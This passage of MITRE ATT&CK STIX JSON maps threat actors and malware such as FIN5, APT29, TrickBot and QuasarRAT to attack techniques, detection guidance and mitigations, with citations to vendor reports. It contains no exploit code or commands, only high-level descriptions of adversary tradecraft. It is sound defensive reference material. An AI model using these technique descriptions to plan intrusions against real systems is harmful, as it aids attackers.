(2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.","url":"https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"},{"url":"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?","description":"Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.","source_name":"DarkReading FireEye FIN5 Oct 2015"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.818Z","description":"[FIN5](https://attack.mitre.org/groups/G0053) has used legitimate VPN, Citrix, or VNC credentials to maintain access to a victim environment.(Citation: FireEye Respond Webinar July 2017)(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9abd4b46-35d6-474f-be48-da0d631daa59","created":"2022-03-30T14:26:51.873Z","x_mitre_version":"0.1","external_references":[{"source_name":"Analyzing CS Dec 2020","url":"https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/","description":"Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.","modified":"2022-04-20T03:07:44.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ac69d52-d41e-4a02-9ebc-54a43e4a591a","type":"relationship","created":"2022-03-30T14:26:51.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.867Z","description":"Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ac9325d-067d-4936-9c8d-159e21bd04c4","type":"relationship","created":"2020-07-27T15:20:50.521Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"modified":"2020-10-02T17:23:24.572Z","description":"[Pillowmint](https://attack.mitre.org/software/S0517) has used multiple native Windows APIs to execute and conduct process injections.(Citation: Trustwave Pillowmint June 2020)","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ac9c832-68cb-48ce-85eb-f0b8334fe48d","created":"2024-07-30T14:11:31.453Z","revoked":false,"external_references":[{"source_name":"ESET WinterVivern 2023","description":"Matthieu Faou. (2023, October 25). Winter Vivern exploits zero-day vulnerability in Roundcube Webmail servers. Retrieved July 29, 2024.","url":"https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:11:31.453Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) delivered exploit payloads via base64-encoded payloads in malicious email messages.(Citation: ESET WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9acd37b4-5729-4c70-b943-d95dc0882cb8","created":"2022-04-13T19:04:39.234Z","x_mitre_version":"0.1","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has been delivered as malicious email attachments.(Citation: Talos Bisonal Mar 2020) ","modified":"2022-04-18T18:13:24.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9acd9add-9b08-45dd-8135-98e62eb708e2","type":"relationship","created":"2019-07-18T21:18:02.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-17T15:38:54.806Z","description":"Filter network traffic to prevent use of protocols across the network boundary that are unnecessary.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9acea9fd-5c35-4956-b048-4e22dad5a044","type":"relationship","created":"2020-10-02T16:37:30.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:37:30.084Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4","target_ref":"attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ad1d50a-31b2-4fc6-ac22-f83f68e97a15","created":"2024-05-17T13:29:45.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:10:30.498Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) uses rundll32 execution without any command line parameters to contact command and control infrastructure, such as IP addresses associated with [Tor](https://attack.mitre.org/software/S0183) nodes.(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9adf592e-f74c-46ed-95ae-85f8c45b0d5e","created":"2022-08-02T15:42:24.484Z","x_mitre_version":"0.1","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) has the ability to enumerate the Wide Area Network (WAN) IP through requests to ip-api[.]com, freegeoip[.]net, or api[.]ipify[.]org observed with user-agent string `Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0`.(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-02T17:54:37.885Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ae45b84-016d-4617-a4fd-3a309dc94b57","created":"2023-09-27T20:35:00.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:36:51.206Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can load a module to call `CreateCompatibleDC` and `GdipSaveImageToStream` for screen capture.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ae8ed36-348a-4053-bfa2-81fd0cc774aa","type":"relationship","created":"2020-06-18T16:12:54.243Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-06-18T16:12:54.243Z","description":"[RTM](https://attack.mitre.org/software/S0148) can use the FindNextUrlCacheEntryA and FindFirstUrlCacheEntryA functions to search for specific strings within browser history.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9aeb640c-a961-4694-a965-349b4d70b8ee","type":"relationship","created":"2020-07-17T20:14:44.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-18T13:13:32.050Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can register a Windows service named CsPower as part of its execution chain, and a Windows service named clr_optimization_v2.0.51527_X86 to achieve persistence.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9aebe474-f443-4007-bb8d-dc7c9f22d5f9","created":"2022-01-11T16:04:19.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.998Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can run as a service using svchost.exe.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9aebf2b6-7688-4946-a12e-ea1d8e62e158","type":"relationship","created":"2019-06-28T17:40:32.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2020-03-28T21:34:12.157Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has executed commands via scheduled tasks.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9aeda7e2-e452-4cd3-837f-e258cba1fc96","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft SIR Vol 19","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"Secureworks IRON TWILIGHT Active Measures March 2017","description":"Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022.","url":"https://www.secureworks.com/research/iron-twilight-supports-active-measures"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.414Z","description":"Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.(Citation: FireEye APT28)(Citation: Microsoft SIR Vol 19)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9af0d85e-688a-4dd7-a04e-a175e268855c","type":"relationship","created":"2021-03-15T18:56:36.741Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Trickbot Oct 2020","url":"https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/","description":"Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."},{"source_name":"Bitdefender Trickbot March 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf","description":"Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."}],"modified":"2021-03-15T18:56:36.741Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses module networkDll for process list discovery.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9af1f7b6-d914-4916-9fee-e8ca0e9c8109","type":"relationship","created":"2020-03-13T20:21:54.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T20:21:54.906Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9af6241d-355a-4673-b772-8384a718ed64","type":"relationship","created":"2019-04-26T20:07:36.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/","source_name":"ESET Ebury Feb 2014"}],"modified":"2019-04-26T20:14:18.255Z","description":"[Ebury](https://attack.mitre.org/software/S0377) has obfuscated its strings with a simple XOR encryption with a static key.(Citation: ESET Ebury Feb 2014)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9af9cf1d-daf4-4b78-b569-fe33de5ea198","created":"2024-06-10T19:03:36.592Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-10T19:03:36.592Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) removes on-disk copies of tools and other artifacts after it the primary botnet payload has been loaded into memory on the victim device.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9afab33c-c230-4cea-9c45-9e0fe7b34587","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor for queried domain name system (DNS) registry data that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9afc4866-c607-4af6-bd71-eef0ab16c7b6","created":"2022-10-05T16:31:09.530Z","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T16:31:09.530Z","description":"[SombRAT](https://attack.mitre.org/software/S0615) has uploaded collected data and files from a compromised host to its C2 server.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b03dca3-8d3f-42a6-9df1-44fdd732d393","created":"2023-03-26T20:02:29.880Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:02:29.880Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used stolen cookies to access cloud resources and a forged `duo-sid` cookie to bypass MFA set on an email account.(Citation: Volexity SolarWinds)(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b049c1e-0074-460e-86d3-338a33727172","type":"relationship","created":"2020-05-08T20:57:03.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-08T20:58:45.034Z","description":"(Citation: Kaspersky Cloud Atlas August 2019)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"malware--8caa18af-4758-4fd3-9600-e8af579e89ed","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b095c7b-09a8-4d4a-8452-98a2f069e73f","created":"2019-06-05T17:31:22.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.894Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has deleted data staged in tmp files after exfiltration.(Citation: TrendMicro Ursnif Mar 2015)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b0efae5-8e40-49be-982d-31eb1be4eda3","created":"2024-07-25T17:29:32.947Z","revoked":false,"external_references":[{"source_name":"Symantec Daggerfly 2023","description":"Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.","url":"https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T17:29:32.947Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) has used [Reg](https://attack.mitre.org/software/S0075) to dump various Windows registry hives from victim machines.(Citation: Symantec Daggerfly 2023)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9b0efe89-4888-4c10-8a91-2ed78038a7cb","created":"2024-05-22T22:41:14.763Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:41:14.763Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) deletes files on network drives, but corrupts and overwrites with random data files stored locally.(Citation: Unit42 Agrius 